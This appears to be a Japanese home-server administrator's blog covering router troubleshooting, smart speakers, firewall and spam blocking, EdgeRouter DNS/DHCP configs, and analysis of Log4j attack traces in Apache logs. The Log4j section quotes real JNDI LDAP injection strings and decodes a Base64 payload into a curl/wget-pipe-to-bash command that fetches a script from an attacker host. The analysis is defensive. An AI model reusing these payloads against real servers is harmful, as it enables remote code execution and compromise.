2022-03-26-クラス●さんへのメモ
このページは、息子の入居先のネットワークトラブルの原因を(私が自宅に帰るため)、ネットワーク関連の担当者に状況を伝えるためのメモです。
本格入居までの状態
- 2月末に契約を行い、荷物運び込みなどを順次行い、3月上旬に入居。
- ルータは、Buffalo WSR-1800AX4S ver 1.03 で、今回の新居にあわせ新規購入品。
この際にはルータのデフォルト設定(Auto/Router)のスイッチで接続。 - 「インターネット@スタート」で初期化が行われたが最初は繋がったが、すぐに切れてしまった。
しかし、色々と接続設定を変えていたら、何らかの”偶然”だったのか接続できるようになった。入居日から翌日までは、そのまま接続ができていた。 - この後、帰省先に帰り1週間後に本格的な入居(3/26)
3/26のメモ
- 入居先に到着し、インターネットを接続するが、ここでも「最初の10秒?から30秒ほどは繋がったがすぐにインターネットに接続できない状態」となる。
- ルータのWAN状態は…
- つながる時は 192.168.200.6 などのIPアドレスリースをうけている。
- 切れた状態になると「インターネット@スタートで接続するが繋がらない状態」になる。
- クラス●さんに連絡を入れ、担当者さんからの連絡を受ける。
担当者さんのアドバイス以降
- 担当者さんのアドバイスにより、ルータをManual / Access Point モードにしたが、一時的に繋がったが30秒程度接続ができた後、繋がらなくなる。(過去の状態と同じ)
- PCは、192.168.200.15 が割り当てられた。
- ping 192.168.200.1 を実行したが30秒ほど後で応答が途切れる。
- こちらの判断で、ルータを Manual / Router モードに変更し、再起動したが、同様の症状。
- 自宅ルータも Buffalo で、過去に「インターネット@スタート」でトラブったことがあるので Auto / Router モードは信用していない。
- 動かない原因が古いファームウェアのバグといったトラブルを避けたいので、別途Webで入手したファームウェアに更新。ただし、バージョン番号は同じ ver 1.03なのでファーム更新はただの気休めの予定だった。
- しかし、ファームウェア更新ご再起動したら、安定してつながる状態となった。
(意味不明!?!?!?!?)
原因の推測
- つながったのにすぐに切れる。
- 他の居住者からはトラブル連絡はない。
- トラブルが全建物的なものなら別途クレームがあるはず
- 今回のこのルータは、帰省中の1週間使われていなかった。
- ルータからのDHCPのリース時間は、259200sec = 3日間
- 一旦繋がったら、安定して使えている。
これらのことより
- リース済みIPアドレスの再利用(リース延長/DHCP Request)は正しく動いている。
- 新規接続はつながるけど、すぐに切れる。DHCP Offer が失敗する?
- リース期間の情報が、サーバと端末で、ずれていることが原因ではないか?
- 上流のDHCPサーバ(192.168.200.1) の時計がずれているのではないか?
- すぐに繋がらなくなるのは、他のPCにリース済みのIPアドレスを、時計がずれることが原因で、間違って再延長許可(DHCP Request に ACK を返答)するため、他のPCとIPアドレス重複を起こして繋がらなくなる?(他の重複したIPアドレスを使っているPCがパケットを出すまでは一時的に使える)
- リース期間が切れる前にリース延長(DHCP Request)を行う端末は、安定してつながる。
2022-03-27 追記
- 朝、ネットワークを使ったら無事に使える状態であった。
- しかしながら、10分ほど安定して利用できていたが、再び繋がらない状態となる。
- 繋がらない状態になった時に、改めてルータの通信パケットを見ると、エラーパケットが0なので、ケーブルが抜けかかっているとか、コリジョンが発生しているとかの原因ではないと思われる。
- ルータの通信LOGには、WAN側接続のトラブルに関する記録なし。
長男の新しいアパートのWiFiルータ
長男の新しいアパートで、ルータを更新。WSR-1800AX4 を導入したけど、ネットワークの設定が終わったら、接続ができなくなる。
最初、インターネット@スタートで繋がらない状態だったので、過去の経験からPPPoE とかを使うのでもなければDHCP設定にすれば一発で繋がる….と思って設定したけど、最初繋がったのに接続が切れたり。設定を色々変えたけど症状が改善せず、最初から接続を疑い有線ケーブルを別ケーブルに変更するとすぐに繋がった。
どうも、大学のアパートで使っていたケーブルを引越しの時に微妙にダメージを与えたみたい。明日は、卒業式が終わったらひとまず1週間だけ帰省なので、(コロナ禍で卒業式には参加できないし)ケーブルだけ新しく買っておこうかな。
(追記)
ケーブルを交換しても、相変わらず不安定。次は壁のネットワークのプラグの接触不良を疑う。LANの爪を引っかからない状態にして電極がこすれあうように抜き差しを繰り返す。ひとまずこれで安定したと思う。
新しいアパート
今日何度か往復してほぼ終了。今日の夜は大学のアパートの引き渡しを前に、新しいアパートで初のお泊まり。テレビやインターネット回線の接続も、繋ぐだけで簡単に終了。
ネットワーク速度もそれなりかな。
Google Nest Mini 追加
最近、スマートスピーカーでタイマーやら色々活用しているけど、1Fでも使いたいとの要望が出てきた。
Google Nest mini 追加
そこで、元々使っている Google Home mini を1Fに移設し、新しく Google Nest mini を設置する。見た目はほとんど変わりないけど、音声認識の誤作動は改善されているらしい。
1Fに移設した Google Home mini は、デバイス名の設定を変更し、ついでに活用されてなかった古い Google Chromecast を1Fのテレビに設置する。
これに合わせ、google home/nest mini を喋らせるための google-home-notifier 関連の Script を修正。
Siri 対応の HomePod があるけど
以前に購入している、HomePod は iOS などと連携がうまくいくので、自宅に設置してある homebridge との相性も良く、homebridge-people などのモジュールを利用した在室確認のセンサーの値に応じてアクションを起動する場合には、HomePod の方が便利。「子供が家に帰ってきたらLINEに通知」といった処理で活用中。
Google Home/Nest の方が便利な点
この最近になって使えるようになってきた機能だと思うけど、「xx時にxxする」というアクションが音声で簡単に登録できるようになった。なので「6時にエアコンをつける」と言えば、翌朝にエアコンを自動的につけてくれる。
同じような処理も Siri のオートメーションを使えばできるけど、しゃべりかけるだけで時間やアクションを登録することまではできないので、これは Siri の未熟な所。
DNSのルートサーバ問題?
自宅では、自宅内だけの DNS を実現するために、DNSサーバ bind を動かしているけど、ブラウザで作業中にたまに DNS によるエラーでページが表示されない。
もしかして、変なところからの攻撃を防ぐために 国別のIPアドレス情報(GEOIP)を元に、接続拒否をしているのが原因かもしれない。確認を行うと、DNS ルートサーバの 中に、スウェーデン(SE)とオランダ(NL) が含まれていて、オランダが拒否リストに入ってた。
ということで、i.root-server.net(SE) , k.root-server.net(NL) を個別に許可リストに加える。
((2022-04-06))
再起動すると、ferm が動いていないのか iptables が未設定の状態になっている。確認をすると、OS起動時のエラーの中に、i-root-server.net の名前解決に失敗して、firewall 設定が途中で止まっている。DNS の設定が動いていない前段階で ferm を動かす順序なのでしかたがない。
ということで、許可リストの設定ファイルで、i.root-server.net などは IPアドレス記載に変更した。
ctgserver.net からのspam攻撃
自宅サーバに spam 送信の攻撃がしつこい。
確認すると、日本国内に割り当てられたIPアドレスだけど、ctgserver.net という中国系企業に割り当てられたもの。デタラメなホストを名乗って送信しようとしている。日本国内のアドレスとはいえ悪質なので、Firewall で 202.61.144.0/20 でごっそり接続拒否としておいた。
Jan 5 21:34:41 perrine postfix/smtpd[1163220]: connect from unknown[202.61.149.209] Jan 5 21:34:41 perrine postfix/smtpd[1163220]: NOQUEUE: reject: RCPT from unknown[202.61.149.209]: 450 4.7.25 Client host rejected: cannot find your hostname, [202.61.149.209]; from=<jcbjp-account-update@cnzsyc.cn> to=<xxxx@tsaitoh.net> proto=ESMTP helo= Jan 5 21:34:41 perrine postfix/smtpd[1163220]: disconnect from unknown[202.61.149.209] ehlo=2 starttls=1 mail=1 rcpt=0/1 quit=1 commands=5/6
同様の攻撃が、134.122.192.0/18 “BGP CONSULTANCY PTE LTD” からも届いている。これまた、日本国内割り当ての中国系企業。この記事を見ると同じ穴のムジナっぽい。がんがん拒否しまくろう。国内IPアドレスも汚染されてきてるよなぁ…
制限しても、すぐさま別のアドレスから同じような攻撃。調べてみると大きなアドレスブロックを持ってるな。
202.61.128.0/18 134.122.192.0/18 118.107.0.0/18
Java Log4j 攻撃が自宅サーバにも来ている?
JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。
UserAgent で履歴確認
こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。
この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。
[/var/log/apache2]# grep -i user access.log.1 | grep -i agent 68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" 68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" 68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" 68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}" 68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}" 68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。
試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。
[~]# dig -x 68.183.207.73 : ;; AUTHORITY SECTION: 207.183.68.in-addr.arpa. 957 IN SOA ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略) [~]# whois kryptoslogic-cve-2021-44228.com (略)
これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。
jndi:ldap の履歴確認
ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。
[~]# cd /var/log/apache2 [/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap 37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x" 68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" 68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" 68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" 68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale" 68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}" 68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}" 68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}" 68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale" 20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"
すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…
わちゃ、こりゃ悪意の塊…
同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。
45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"
後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると
(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80) # xx.xx.xx.xx は攻撃対象のIP |bash
なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。
たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。
[~]# dig -x 45.155.205.233 (略) ;; AUTHORITY SECTION: 205.155.45.in-addr.arpa. 1258 IN SOA pns21.cloudns.net. support.cloudns.net. (略) [~]# whois cloudns.net (無料のDNSサービスなのであまりいい情報が無い) [~]# ping 45.155.205.233 [ping 反応なし] [~]# nmap 45.155.205.233 [nmap 反応なし]
たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。
まとめ記事へのリンク
Log4j に関連するパッケージ
Log4j は色々な使われ方をしているようなので、一応確認。
(( log4j という名前を含むパッケージの検索 )) [~]# dpkg -l | grep log4j ii liblog-log4perl-perl 1.54-1 all Perl port of the widely popular log4j logging package (( liblog-log4per-perl に依存しているパッケージを探す )) [~]# aptitude purge liblog-log4perl-perl : 以下のパッケージには満たされていない依存関係があります: munin : 依存: liblog-log4perl-perl インストールされません
edgerouter-x の DNS fowarding 設定
Edgerouterで キャッシュDNS を動かす
自宅サーバが落ちた時のDNSトラブル対策で、自宅内で運用しているEdgerouter-xをDNSの予備として稼働させるための設定。
options の欄は dnsmasq.conf の設定を読めと書いてあったので、ググりながら設定してみた。
ubnt@ubnt# show service dns forwarding cache-size 1200 listen-on switch0 name-server 8.8.8.8 name-server 8.8.4.4 name-server 192.168.xx.xx ## ルータのDNSを参照 options server=/tsaitoh.takefu.fukui.jp/192.168.xx.yy ## 自宅内の正引き options server=/tsaitoh.net/192.168.xx.yy ## 自宅ドメイン正引き options server=/168.192.in-addr.arpa/192.168.xx.yy ## 自宅内の逆引き
自宅内のDHCPでは、自宅内DNSと、edgerouter-x を参照するように既に設定されている。
試しにメインサーバで “systemctl stop named” で DNS を停止した状態で、パソコンでブラウザを操作したけど問題なくWeb を使える。自宅内のホスト名もキャッシュの範囲でちゃんと動くかな。
DHCP failover を Edgeroute で運用
DNSの設定を見直していたら、Edgerouter-x には、DHCP の failover 機能(2台目のDHCP機能) の設定がある。たまにメインサーバが落ちた時に、自宅ネットワーク環境が一切動かなくなるので、Edgerouter で DHCP failover を運用してみる。
ubnt@ubnt# show service dhcp-server disabled false : shared-network-name localnet { : subnet 192.168.xx.0/24 { default-router 192.168.xx.xx dns-server 192.168.xx.xx dns-server 192.168.xx.yy domain-name tsaitoh.takefu.fukui.jp failover { local-address 192.168.xx.yy name edgerouterx peer-address 192.168.xx.xx status secondary }